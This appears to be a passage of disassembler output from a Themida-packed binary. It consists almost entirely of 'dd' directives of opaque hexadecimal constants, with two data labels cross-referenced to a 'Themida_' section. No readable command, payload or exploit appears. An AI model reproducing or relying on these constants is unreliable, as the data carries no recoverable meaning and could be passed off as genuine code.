		dd 8EF40000h, 0FABCD83Fh, 0FBC1A946h, 0A3E1326Ah, 0A58629D4h
		dd 7E908h, 47760000h, 0B34A27EFh, 71E45BD9h, 5E9h, 65C95600h
		dd 613CDF78h, 15D830Fh,	13E80000h, 87000000h, 1E5F50CCh
		dd 88631CC4h, 3E69D463h, 424CA399h, 8D29C71Dh, 6142C6Dh
		dd 0C8B60F5Fh, 15C18589h, 6BA0614h, 0E9000000h,	0Dh, 4CC6F6C5h
		dd 472BBB37h, 677CBB0Ah, 9BD5BF56h, 0C18B69A6h,	2820F60h
		dd 60000000h, 0CD952961h, 61061405h, 0FE9h, 0F8E0B000h
		dd 50905FC2h, 2085FD13h, 0C8B8270Dh, 0BB04E8C1h, 46B81533h
		dd 8BE2F766h, 60C82BDEh, 37B0EE81h, 0E9506D74h,	0Eh, 0A12009E5h
		dd 270C4F58h, 91EFA181h, 615A8397h, 3C4496BFh, 9D18B4Bh
		dd 142A9D8Dh, 0B5E906h,	9D290000h, 6142375h, 554C858Bh
		dd 0DF8B4947h, 83DE8B66h, 12E907C0h, 7A000000h,	96059A6Eh
		dd 5F5EA3A3h, 33B286DCh, 0D838C9F3h, 0C0839Fh, 5399D89h
		dd 0D03B0614h, 14830Fh,	0BD8B0000h, 61403F9h, 0A351BB66h
		dd 6AE9h, 0E3816600h, 8D8B66A8h, 0FFFFFFFFh, 0E9D98B66h
		dd 0Ah,	99CCFECCh, 0A6E40471h, 0E183A606h, 44840F01h, 66000000h
		dd 0CE69F781h, 0FFFFA583h, 0FFEFFFFh, 0E86h, 9E900h, 9CBF0000h
		dd 4DAD58DFh, 89181CEBh, 47554C95h, 14E949h, 0F56E0000h
		dd 2AA9D1EEh, 3BFA1F1h,	0DAD3D158h, 3C61978Fh, 0E9E062h
		dd 8D000000h, 18AB92B5h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1B04h, 0C3534300h, 5768C369h, 0C75B165Bh
		dd 6A006Ah, 3E850h, 58200000h, 448958C3h, 44810424h, 160424h
		dd 50400000h, 0B4AAC5C3h, 9E9h,	0B4829C00h, 5B32B41Bh
		dd 95897963h, 6141AE5h,	116995FFh, 6A0614h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 1A0424h, 50400000h, 106531C3h
		dd 0F7120477h, 68F0FF8h, 89000000h, 14303995h, 0F5BB906h
		dd 95890000h, 6141C49h,	6AFCE183h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 1D042444h, 40000000h, 0D969C350h
		dd 765B778Dh, 2C7336FEh, 12E8h,	0C157DE00h, 3EF8DC99h
		dd 2449461Ah, 0CDEAAF03h, 80B5E0A3h, 0FC5FFACFh, 6AC38166h
		dd 0B8FCh, 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 150424h, 55450000h, 0F8553C3h, 0C8Fh, 6820F00h, 89000000h
		dd 14200DB5h, 6AD22B06h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 1B042444h, 47000000h, 2071C357h, 583DD979h
		dd 0E856B3FBh, 11h, 85B3363Eh, 0AA2891C6h, 0B9E1E59h, 17B308ECh
		dd 5DBD8B54h, 5B06140Fh, 0C233AD5Bh, 0D003E8D1h, 7504E983h
		dd 0E58589F4h, 0E8061410h, 8, 1A6CA74Ah, 7244D3Ch, 9E9h
		dd 0EF591D00h, 6A80AFF9h, 535F5F09h, 7898D89h, 0D5F0614h
		dd 88h,	0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 15h
		dd 0CC35343h, 9E881h, 4780000h,	634140FDh, 0E9044B5Fh
		dd 10h,	0ADC4B5F4h, 2F4EDD01h, 4AA02A9Eh, 0B0BCEE26h, 0ADBD8B5Fh
		dd 8B061403h, 14322995h, 51006A06h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1D04h, 0C3514100h, 4A7FC1C5h, 0E1FD977Bh
		dd 9D8B9874h, 6142215h,	64D8D8Bh, 6A0614h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 1B0424h, 50400000h, 942729C3h
		dd 0EE6416BAh, 0C28B5012h, 0C103188Bh, 0C18B188Bh, 0C203E8D1h
		dd 6A58188Bh, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 14042444h, 45000000h, 811DC355h, 393596F3h, 53006A4Ah
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1C04h, 0C3534300h
		dd 4F2AA7B8h, 0EED9B8CEh, 0BD83F86Dh, 61429ADh,	88840F00h
		dd 89000000h, 141A2195h, 0B806h, 8F0F0000h, 14h, 8E8h
		dd 0F4E7E300h, 0DCB67081h, 959D034Fh, 5B061411h, 4D798D8Dh
		dd 6A0614h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 180424h
		dd 57470000h, 0CD08D6C3h, 953102C9h, 6141095h, 6E9h, 0A08B8300h
		dd 0FF510AE5h, 55006AE1h, 3E8h,	0C35D2000h, 246C895Dh
		dd 24448104h, 1C04h, 0C3554500h, 0C27DF0ACh, 0FC6D9072h
		dd 55B58900h, 83061406h, 142671BDh, 840F0006h, 476h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Bh, 0DDC35141h, 8D73EDA6h
		dd 0FE2CC79h, 0BD83FBB7h, 6142671h, 5E840F01h, 6A000004h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 1B042444h
		dd 41000000h, 0A7C4C351h, 6440BA36h, 95895D60h,	6140C41h
		dd 55600ABBh, 71BD8318h, 3061426h, 3ED860Fh, 12E90000h
		dd 0F0000000h, 0B65FB824h, 6AF0C331h, 1F8988D9h, 0FE82CE79h
		dd 6890FAAh, 8B000000h,	1420C5BDh, 6A6006h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 150424h, 53430000h, 0F9F66FC3h
		dd 6AD98C66h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 19042444h, 43000000h, 0F412C353h, 0D2D5CE02h, 0FE8h
		dd 9E457A00h, 227B1760h, 0E4376F0Eh, 0DC3315EBh, 9646BF66h
		dd 4E1805Fh, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 17h,	4FC35646h, 8B533095h, 14082DBDh, 0FC90A06h, 11C84h
		dd 56006A00h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1A04h
		dd 0C3564600h, 226E32F9h, 8B9B9BC3h, 14196985h,	0CB81F506h
		dd 13C0BABBh, 1B818533h, 81660614h, 506C2DDBh, 0BF505250h
		dd 44E9AB9Fh, 0E8310F5Bh, 0Fh, 6308BCA6h, 845A1F54h, 9DD85601h
		dd 53197F26h, 585A5B5Bh, 0F240489h, 87h, 6A006A00h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 15042444h, 40000000h
		dd 0D191C350h, 15BD9D2Bh, 70680614h, 817202A7h,	0A48F2434h
		dd 0BF66721Dh, 95FF2F4Fh, 61409ADh, 0E855006Ah,	3, 5DC35D20h
		dd 4246C89h, 4244481h, 19h, 85C35545h, 89377A5Ch, 5860F9Ch
		dd 0BF000000h, 1B538E7Ah, 0AA988589h, 6A0617h, 3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 1B0424h, 51410000h
		dd 936FEAC3h, 62B4CB20h, 10E8E8h, 0EF680000h, 33A81DEh
		dd 0F1EA4BE5h, 0B6785661h, 8B664054h, 0CEE95FF9h, 89000001h
		dd 140F5D85h, 90858B06h, 0F80617AAh, 1800C7h, 8D890000h
		dd 6141FE1h, 0AA94B58Bh, 6A0617h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 190424h, 56460000h, 0EBD95FC3h
		dd 8BF17428h, 140B2985h, 50006A06h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1904h, 0C3504000h, 217ABEEBh, 689DBA0h, 7FF8EEBFh
		dd 69858B22h, 6A061419h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1D042444h, 40000000h, 0D75FC350h,	76664D96h
		dd 0A279CB13h, 575BD89h, 46890614h, 50006A04h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1604h,	0C3504000h, 96856741h
		dd 13E8h, 0D1311400h, 30F7850Ah, 0ED74B405h, 71699149h
		dd 2E6874h, 13E8h, 0D350D000h, 5E900DABh, 0B87C5E2Eh, 37823147h
		dd 6C65C5A1h, 5F5B5F51h, 0B5FF9650h, 617AA90h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 16h, 57C35747h, 81660BBBh
		dd 683C53CBh, 648D8CFCh, 2B820Fh, 13E80000h, 22000000h
		dd 75FCFA3h, 0DCF15F69h, 2A23ED0h, 8BD844BCh, 0DE987A7h
		dd 23000000h, 0BD0E609Fh, 667F4DF9h, 0C19CE950h, 2434815Bh
		dd 64928F03h, 0E855006Ah, 3, 5DC35D20h,	4246C89h, 4244481h
		dd 17h,	7AC35545h, 0F24C108h, 858DDBB7h, 617AA98h, 0A52EBE60h
		dd 8D8B3F09h, 614081Dh,	1DB75061h, 1240489h, 142E59BDh
		dd 0AD95FF06h, 6A061409h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1C042444h, 42000000h, 7629C352h, 6AC2C5ECh
		dd 297A79B3h, 141109BDh, 0C7F86106h, 14267185h,	306h, 52BF6600h
		dd 98BD83F8h, 617AAh, 3D840Fh, 6A0000h,	3E855h,	5D200000h
		dd 6C895DC3h, 44810424h, 1A0424h, 55450000h, 8040B6C3h
		dd 8F5D0B95h, 0E9FE8B66h, 2Eh, 0EE9h, 0D49FB700h, 1514D235h
		dd 0B4B1CE66h, 50359E40h, 110C30h, 0C1011144h, 443010E8h
		dd 4C000211h, 83580311h, 0E77504E9h, 305036EBh,	64001104h
		dd 0E8C10111h, 11443010h, 11640002h, 0E9835803h, 0EBE77504h
		dd 0E8C1501Bh, 11642810h, 11443003h, 64285802h,	4300111h
		dd 4E98311h, 0EBE775h, 6AC08Bh,	3E857h,	5F200000h, 7C895FC3h
		dd 44810424h, 170424h, 57470000h, 9E3C1DC3h, 0F99589D9h
		dd 6A06142Ch, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1B042444h, 43000000h, 6B5EC353h, 78AC9441h, 0EB801ABCh
		dd 71BD831Fh, 3061426h,	4ED850Fh, 6E90000h, 0E000000h
		dd 3227E7DCh, 0FD8D89FCh, 83061400h, 17AA98BDh,	840F0006h
		dd 4CFh, 0AA98B5FFh, 0BD230617h, 614267Dh, 2AF595FFh, 6A0614h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 170424h, 56460000h
		dd 4B61ACC3h, 859D8996h, 8B06140Bh, 17AA8CB5h, 7D9D8B06h
		dd 0C7061430h, 1000106h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1404h, 0C3574700h, 14E973h, 9DFE0000h, 7D53C9BCh
		dd 73DD2433h, 0F238137Dh, 951C566Dh, 0F50034Fh,	484h, 0FB8B5600h
		dd 2434895Bh, 0E853006Ah, 3, 5BC35B20h,	4245C89h, 4244481h
		dd 1Bh,	0D7C35343h, 23877BDAh, 3C9766Ch, 141039BDh, 98B5FF06h
		dd 0F0617AAh, 68Dh, 85BD8B00h, 0FF061404h, 140B3195h, 5FBF6606h
		dd 8CB58B3Bh, 6A0617AAh, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 18042444h, 40000000h, 9F8AC350h, 8B37C041h
		dd 1421D585h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1904h, 0C3574700h, 20918EAEh, 86891459h, 0C4h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Dh, 0F1C35747h, 0E7A49C36h
		dd 283321FFh, 7DBD8B0Ch, 8B06140Ah, 14322995h, 50006A06h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1704h, 0C3504000h
		dd 3715C77Eh, 19619501h, 8B660614h, 4C283DAh, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 19h, 0CEC35545h, 0EA90F9F6h
		dd 249CBB48h, 508924F9h, 25BD8B20h, 8D06142Eh, 17BE0685h
		dd 51006A06h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1D04h
		dd 0C3514100h, 77BC0343h, 84F78910h, 89526D4Ch,	1405818Dh
		dd 86895B06h, 0B8h, 0E852006Ah,	3, 5AC35A20h, 4245489h
		dd 4244481h, 16h, 86C35242h, 8B66EE96h,	0C38166DEh, 6A504Bh
		dd 0AA98B5FFh, 6A0617h,	3E853h,	5B200000h, 5C895BC3h, 44810424h
		dd 150424h, 53430000h, 66FFF4C3h, 6179EF81h, 5E8h, 32901100h
		dd 0CB802ABFh, 95FF5BA2h, 6140939h, 0E856006Ah,	3, 5EC35E20h
		dd 4247489h, 4244481h, 1Ah, 0B3C35646h,	1577A7BBh, 8B961967h
		dd 0E86050D9h, 10h, 0D5F15FFh, 0F5B1717Ch, 64AD3967h, 571484FFh
		dd 3665B966h, 61B5B25Fh, 55006A96h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1704h, 0C3554500h, 8424ECE7h, 66E6E380h
		dd 77BDCB81h, 0AA98B5FFh, 6A0617h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 150424h, 57470000h, 0E953EFC3h, 8, 52E8740h
		dd 36C52822h, 25A5B589h, 95FF0614h, 61420F5h, 0F9858B60h
		dd 0E9061431h, 5, 0DAA6F02Fh, 0BD8361E4h, 6140C21h, 9E840F00h
		dd 6A000000h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 18042444h, 41000000h, 8444C351h, 0BFBD26BBh,	3E97CD95h
		dd 11E86096h, 0CA000000h, 0C709718h, 1E162496h,	755762FDh
		dd 57718A5Ch, 50596160h, 0F48B352h, 0F525031h, 5A585A31h
		dd 60506158h, 1161BA66h, 0CE8h,	999A8A00h, 1AAF7307h, 8A19D9DDh
		dd 5F2FB76Ch, 6A9661h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 150424h, 53430000h, 0E9B778C3h, 5, 9C518D3Bh, 0FD98BA9h
		dd 48Ch, 0FCBB6600h, 98B5FFFAh,	6A0617AAh, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 18042444h, 46000000h, 85E1C356h
		dd 0FF424DCh, 684h, 918D0100h, 6006140Eh, 2601958Bh, 95890614h
		dd 6141141h, 0B195FF61h, 0E8061402h, 7,	21935E0Fh, 8913BBFFh
		dd 14198185h, 0B5FF5F06h, 617AA98h, 0E856006Ah,	3, 5EC35E20h
		dd 4247489h, 4244481h, 15h, 59C35646h, 0DF8166C7h, 95FF8E92h
		dd 6143081h, 10E952h, 0C47F0000h, 1E8E65AFh, 8B7B2E25h
		dd 4886E18h, 835BC30Dh,	1409F5BDh, 840F0206h, 63h, 5BDE8B51h
		dd 12DD9D09h, 858B0614h, 6142D01h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 19h, 5DC35545h, 624A14B9h, 0FFBF0F2Eh
		dd 0AE9h, 0C9E02700h, 0E8E6B91Fh, 0C65C1253h, 6A0000h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 150424h, 57470000h
		dd 0C7A1B7C3h, 14244D85h, 6, 21BD8B00h,	0E906142Eh, 0FFFFF0D7h
		dd 2FA1BF66h, 8D01C18Bh, 614247Dh, 3D648D8Dh, 6A0619h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 150424h, 52420000h
		dd 0F58D16C3h, 32298D89h, 6A0614h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 1A0424h, 57470000h, 0DC6B4BC3h, 5A595D2h
		dd 0AE9h, 6CD1BB00h, 9E26FA9Ch,	0C73F5E83h, 14064D85h
		dd 623006h, 0AE900h, 0CAC90000h
		dd 0A2727453h, 0F8B9A9AEh, 0C70FE280h, 14267185h, 6, 53006A00h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1C04h, 0C3534300h
		dd 0EF6F762Ah, 0A3E041BFh, 0C2BF6605h, 359D89C0h, 0FF061415h
		dd 1414ADB5h, 95BD8B06h, 0FF061425h, 14236195h,	55006A06h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1B04h, 0C3554500h
		dd 0F0AF291Fh, 0FF191426h, 95FF006Ah, 6141169h,	7CEBC08Bh
		dd 11D0D594h, 0ADBA1540h, 8FCB49A7h, 22F12DFEh,	1A7ED09Ch
		dd 3D7AA206h, 8459307Bh, 0EFD5DDBEh, 20D8A3C5h,	0EB73A366h
		dd 0BB36B68Ah, 0F179C8D8h, 5D445FD6h, 69B1DD02h, 0AA53E051h
		dd 95BFA3D2h, 177D8FA0h, 2E6BED6Eh, 33D047E1h, 7478B4A9h
		dd 919A601h, 2CB54C2Ch,	0FBE77058h, 7BC5F700h, 91AB57F8h
		dd 2B50985Bh, 0D495FBFAh, 0F452C38Bh, 242D03C2h, 34B14E67h
		dd 7BDC22B1h, 3E8F8D8Dh, 9D8B0619h, 61402D1h, 32298D89h
		dd 0D78B0614h, 4D85C7FCh, 0B4061406h, 6A00005Bh, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1C042444h, 40000000h
		dd 984FC350h, 0F11A9B14h, 0C7240431h, 14267185h, 6, 50006A00h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1404h, 0C3504000h
		dd 0BD016030h, 61409DDh, 6120D380h, 14ADB5FFh, 6A0614h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h, 55450000h
		dd 0C301C3h, 0FF9386EFh, 14236195h, 6AC28A06h, 6995FF00h
		dd 8B061411h, 0DE7CEBC0h, 9A3DD322h, 48F0B132h,	135AAC4Eh
		dd 9B96CD2Fh, 0CB2411ACh, 0F60AF8D8h, 6D881DDDh, 3656A724h
		dd 0D6530C9Bh, 0C68DEE39h, 5BE1FAE9h, 0C889EB88h, 9335F770h
		dd 0A5D607C6h, 82013818h, 99C63DE7h, 0CD00F1DBh, 0DFD28ED1h
		dd 0B82FDFEh, 0FFA27D10h, 0C5DECB72h, 43BDC82Ch, 7A89FD2Fh
		dd 776713D2h, 0CB908055h, 2F35EBC4h, 14BF9C9Fh,	0B2733CE0h
		dd 0A77263BEh, 0E12F17C4h, 0DEDC3476h, 0D4D4712Ah, 1DC4B46h
		dd 0D4C8557Fh, 6398525Ch, 0A9A90B33h, 0F1982633h, 0EF5E265Ah
		dd 338C3C6Ah, 0FFB44E60h, 0F867A5E4h, 0A08C3CE2h, 0D343A3BEh
		dd 79672024h, 0C5C5A3BAh, 0D71B2027h, 338C053Ah, 831D2933h
		dd 0C0982633h, 0BFA706B6h, 0D6157635h, 0AF811921h, 890DD963h
		dd 839E3222h, 35982664h, 1F152359h, 4B811911h, 0B41DAB63h
		dd 39E3F0Ch, 86CDB3CCh,	14932027h, 6AA1A23Ch, 0B0152633h
		dd 9C811911h, 4DAACE63h, 0F6D82633h, 6CB0A3BEh,	24C8202Ah
		dd 0CDA704B6h, 0FF677635h, 338C333Ah, 1794E2B0h, 54A704B6h
		dd 23157635h, 55811921h, 0F40DD963h, 3D9E3222h,	6A982651h
		dd 6474AD66h, 11CE7464h, 8DAB2E4Eh, 0A69824DAh,	0D3DF6633h
		dd 2C97260Ch, 2B67D9C6h, 1713EF00h, 35B2CF3Bh, 48AB2633h
		dd 0A71831B9h, 0E868AD03h, 5AAD63h, 0A9982C88h,	0D49BCF33h
		dd 896F2633h, 3566A57Dh, 656CA13Ch, 4EC3D9CCh, 0EEDF7EFBh
		dd 0D697E638h, 5667D9FDh, 8EC6E7B8h, 0A8517F6Ch, 88152637h
		dd 9C811923h, 0DDDABBEh, 9320202Ah, 78000000h, 271E7FCh
		dd 0C8D00731h, 4904C783h, 0FFF2850Fh, 0B58DFFFFh, 6194045h
		dd 40648D8Dh, 0CF2B0619h, 8B05E983h, 0A4BB20C8h, 3726289Ch
		dd 8EEA9C67h, 6E6FB663h, 0B53D00A9h, 3132008Ch
		db 28h,	0B4h, 0BBh
byte_59CC5F	db 2Bh			; DATA XREF: Themida_:00548C7Co
		dd 8CB18615h, 37265B0Ch, 74B62F01h, 5B321001h, 32DA5D01h
		dd 11320401h, 0B86FC15Ch, 0B036256Dh, 2736A445h, 74324001h
		dd 0BB08E354h, 26D0914Eh, 673867A1h, 31320BE8h,	39B75701h
		dd 507A48D3h, 1795B48Eh, 64E9BD60h, 3309C95Bh, 841B1001h
		dd 3726154Ch, 3122ED91h, 5F210201h, 749F0190h, 81058BB6h
		dd 0C5FFB5F6h, 57622756h, 0A15258BBh, 2D0FBD30h, 303D0215h
		dd 5BCC264Dh, 32DA5601h, 11328001h, 0B86D835Eh,	0B036047Dh
		dd 28363445h, 76320801h, 460BC756h, 42412966h, 37BD0EF4h
		dd 0B8328001h, 252BC184h, 31587807h, 3131F854h,	6C120801h
		dd 5DBB59C2h, 75B30625h, 312A0525h, 64778001h, 0C8959DC2h
		dd 0F1B11E36h, 0F7B3762Dh, 39B9FE79h, 0D962046Bh, 31320202h
		dd 69F15921h, 3516C488h, 35160480h, 3132201Ah, 0B6F14041h
		dd 9F3C0Ch, 3E72F0E9h, 0BA54F8BEh, 3158FD49h, 31316852h
		dd 6A124001h, 6DBB7BC2h, 75B31425h, 31250C25h, 62710401h
		dd 0A87D7C2h, 8C336161h, 3726A23Ch, 0B6C2C167h,	84BB4143h
		dd 37263CF4h, 70B8967h,	0C3B60BFEh, 57320201h, 0BCBBFF8Ah
		dd 3726A55Ch, 573B8182h, 0B1BFE5BAh, 0B43DF938h, 31320934h
		dd 0D967046Bh, 31320202h, 6CF15C21h, 3516EC88h,	35160480h
		dd 31322015h, 7DF14544h, 313218E8h, 6AC1E101h, 721AB2C3h
		dd 7E5BD669h, 88E9A196h, 37B44F2Bh, 18322001h, 25315594h
		dd 30738307h, 3134830Eh, 84B90201h, 3726289Ch, 0A4B94802h
		dd 372660B8h, 5B37E182h, 32DA4301h, 11320801h, 0B869C75Ah
		dd 0B036265Dh, 26362545h, 72328001h, 0E3808352h, 8B3089Ah
		dd 0BA715B91h, 31818D0Eh, 31580401h, 3131EA56h,	6E120101h
		dd 4DBBDFC2h, 75B34425h, 31272425h, 66751001h, 0D86496C2h
		dd 3132040Ah, 3D84A2A7h, 44C99B9Dh, 0D949A819h,	31324015h
		dd 0B003C474h, 2337CE8Ah, 3697970Fh, 0C64017CEh, 1BCF9446h
		dd 31320AE8h, 4A928101h, 0C668D874h, 0C24EE71Eh, 48BF9D5Ah
		dd 5B341C4Ch, 32DA5401h, 11320201h, 0B86AC259h,	0B036A445h
		dd 29366445h, 71322001h, 3930D351h, 0BAFFB978h,	4872DD8h
		dd 89341608h, 31320102h, 0D964806Bh, 31324002h,	6FF17E21h
		dd 35166488h, 35164C80h, 31320415h, 0D3F15447h,	458DE0FEh
		dd 0B8746445h, 25075984h, 31584107h, 3131F852h,	6A120801h
		dd 6DBB5FC2h, 75B30625h, 312B0525h, 62718001h, 886B1FC2h
		dd 0BC7FA0C9h, 287276BCh, 79BF8507h, 89341D42h,	30A08175h
		dd 10CF8432h, 0FE198615h, 0A4BB20C0h, 3726289Ch, 8EEA9C67h
		dd 6E6FB663h, 0B53D00A9h, 3132008Ch, 83BBB428h,	0A4F305E9h
		dd 6AC08Bh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 190424h
		dd 53430000h, 189567C3h, 8B09E648h, 142BD5BDh, 0E8C38B06h
		dd 0Ah,	7B9E0E03h, 0B3C4D39Bh, 0B70F1613h, 14E95BFBh, 40000000h
		dd 0AFE8C2E3h, 5019EFF9h, 0DA5F2C62h, 0D7087073h, 812D7C89h
		dd 6291C3h, 0CE900h, 0F83C0000h, 0F3B73D9Eh, 5D6186ADh
		dd 0C02BD99Dh, 0B5016060h, 614009Dh, 8E0Fh, 0E9610000h
		dd 10h,	0B00F54D3h, 43D28A3Fh, 86C5B89Ah, 41B6449h, 3148B61h
		dd 1A259589h, 0F2810614h, 538B76E3h, 70A293BEh,	56F28101h
		dd 0F63BA54h, 8Ch, 7AC28100h, 8B674501h, 140665BDh, 8B665206h
		dd 3048FFEh, 3CA6C781h,	0BD896227h, 6140909h, 0E804E883h
		dd 0Fh
dword_59D020	dd 0F5162D95h, 0D97C35A6h, 6C47ADDAh, 0E93BBEBAh, 8, 901BA061h
					; DATA XREF: Themida_:00549FBCo
		dd 70A4975Ch, 40F8815Eh, 0FFFFF9Eh, 0FFFF9085h,	8CE666FFh
		dd 8C8FEB60h, 0D1AC8135h, 0E0059DF6h, 0C80D6411h, 8C953411h
		dd 0D9C91835h, 0DCB12DF6h, 7ADBE33h, 98A9B2A8h,	0E64C0A33h
		dd 8F649135h, 0AC8C6035h, 5D5F36Ch, 0D883C79h, 96882871h
		dd 0CD8C0635h, 0CE2AC064h, 0C1EA53CAh, 8C862983h, 77476035h
		dd 7E224D51h, 70DCAB06h, 0BC3DB1B6h, 0F98C0021h, 6D31803Ch
		dd 8C8A952Fh, 0DFDCD941h, 8F34A0BEh, 58C3031h, 989651B0h
		dd 0B6118133h, 738A1082h, 0FD458E6h, 98966088h,	9BF8C033h
		dd 8F343365h, 58C3031h,	989651B0h, 0A5118133h, 738A1081h
		dd 0DD458E6h, 38AEC8ECh, 19127925h, 83656F2Dh, 0B28C3035h
		dd 0D0828921h, 0E3B7E600h, 68231B2Fh, 4C07EA96h, 0EA5C363Ah
		dd 9D3718B9h, 24AB7868h, 0EC083F31h, 0E68C1836h, 8F645A35h
		dd 0AC8C0635h, 5D2C06Bh, 0D88A541h, 9888E471h, 0CA8C6035h
		dd 8348F363h, 8C8C19B8h, 310FF435h, 8A981D38h, 0A8080C35h
		dd 0DF8C8135h, 8C8CCFDCh, 0C6AC6C35h, 0DE93EC93h, 0D369972Dh
		dd 0B34AF768h, 8F99EF6Ch, 7EA0335h, 15198ACCh, 328AD419h
		dd 8E8C4735h, 1438F3Ah,	9BFA57B0h, 0DF8C6633h, 8C8C05DDh
		dd 4FD72335h, 0A8D0086Eh, 0A8C84131h, 8C8C7731h, 4FDF7335h
		dd 6AB2B427h, 3AEB218Ah, 0E65CF93Bh, 8F645335h,	0AC8C8135h
		dd 5D4036Dh, 0D884471h,	98881471h, 0CC8C1835h, 832BCF65h
		dd 8C8C00B5h, 51190035h, 98A9537h, 5608CFF5h, 0E68C6035h
		dd 8F646535h, 0AC8C1835h, 5D1CF68h, 0D882259h, 95882771h
		dd 0C98C8135h, 95C90360h, 0A49FCDDBh, 0B511BB55h, 708A0C3Fh
		dd 0DBB48D54h, 83778753h, 8C8C3DB0h, 61010835h,	58AD411h
		dd 988209A0h, 0F40D5633h, 838E1A31h, 8C8ED4B1h,	0DA8C6C35h
		dd 8C8C00DDh, 4FD2A135h, 0A8F8496Bh, 0A8C8E131h, 8C8C2B31h
		dd 4FDA5E35h, 8CB5EC02h, 0FE17AA70h, 0EA0CD5B5h, 0EC10B9B4h
		dd 8CD7453Ah, 8CE66035h, 8C8FD864h, 0D5AC1835h,	0C00555F6h
		dd 0C80D0211h, 8C980711h, 0DDCD8135h, 5D079EF6h, 11B382B4h
		dd 0F40C65AFh, 983F037h, 8C8C0C18h, 8C8C09DCh, 0EF726E35h
		dd 50C88107h, 5EAD7C80h, 64F7351Dh, 0EA06FFB5h,	8C8A60B4h
		dd 8609039Eh, 3D8C0635h, 8EC3EA69h, 7EA8135h, 8D8C7EFDh
		dd 8B652634h, 0BE8C3035h, 70BB6F3Ch, 9017F07h, 8A9B707Ah
		dd 760DD8B4h, 5C73DC17h, 64DAC05Fh, 8C8C6036h, 0D24F6E15h
		dd 88A86CBCh, 88A848B4h, 8C8C062Eh, 1D4F5573h, 0B1F36BE4h
		dd 99089DBh, 8086FF5h, 878C3034h, 98A585A0h, 0EAB48D33h
		dd 838E0408h, 8C8C3AB0h, 4B0DE735h, 7E0DA410h, 0A0CAF0A8h
		dd 0EA8A48B4h, 83F64708h, 8C8DD4B1h, 83DD6635h,	8C8C03BBh
		dd 9E65D835h, 18CC035h,	0AA0E8636h, 84A686E3h, 4A5282A4h
		dd 393E44D1h, 0DEA6787h, 83EC9F0Dh, 8C8CCCB0h, 8EF44035h
		dd 0CF096FDDh, 0E68C3035h, 8F644A35h, 0AC8C0C35h, 5D6C56Fh
		dd 0D882761h, 9788A571h, 0CE8CC035h, 0BB0EA367h, 0E0E9F594h
		dd 3185F6E5h, 8A982920h, 8AF48753h, 983C335h, 8C8C813Bh
		dd 0A64145BCh, 0EE656621h, 0C8C3034h, 8C32CFC7h, 5F20D34h
		dd 98ADF788h, 0C3098E33h, 708A9643h, 39A510CAh,	8A984014h
		dd 883F0B0h, 8C8C188Ah,	64DC0C5Fh, 8C8C0636h, 0D44F5B15h
		dd 88A8C5BCh, 88A884B4h, 8C8C602Dh, 384F6075h, 0F18A6718h
		dd 882981BEh, 0B40C0021h, 0AD090CDDh, 0C8C8135h, 0F40C6BF2h
		dd 9831330h, 8C8C3021h,	6753E38Ah, 8BF48C41h, 7E080966h
		dd 358C0335h, 0C3C82B44h, 3B44153h, 0E8096F30h,	0C8C3035h
		dd 83E41E4Dh, 8C8C56B0h, 46076035h, 87F48253h, 983A4CAh
		dd 8C8CC07Eh, 64DE605Fh, 8C8C3036h, 0D64F4215h,	88A858BCh
		dd 88A842B4h, 8C8C032Fh, 164FD377h, 280C6902h, 2E65310Eh
		dd 0E68C3035h, 8F644D35h, 0AC8C0C35h, 5D1C568h,	0D882759h
		dd 9B88A571h, 0C98CC035h, 0F0D6A360h, 0DEA49A1h, 34A6D4D6h
		dd 8C8C0C35h, 64DA065Fh, 8C8C0336h, 0D24FDF15h,	88A8B4BCh
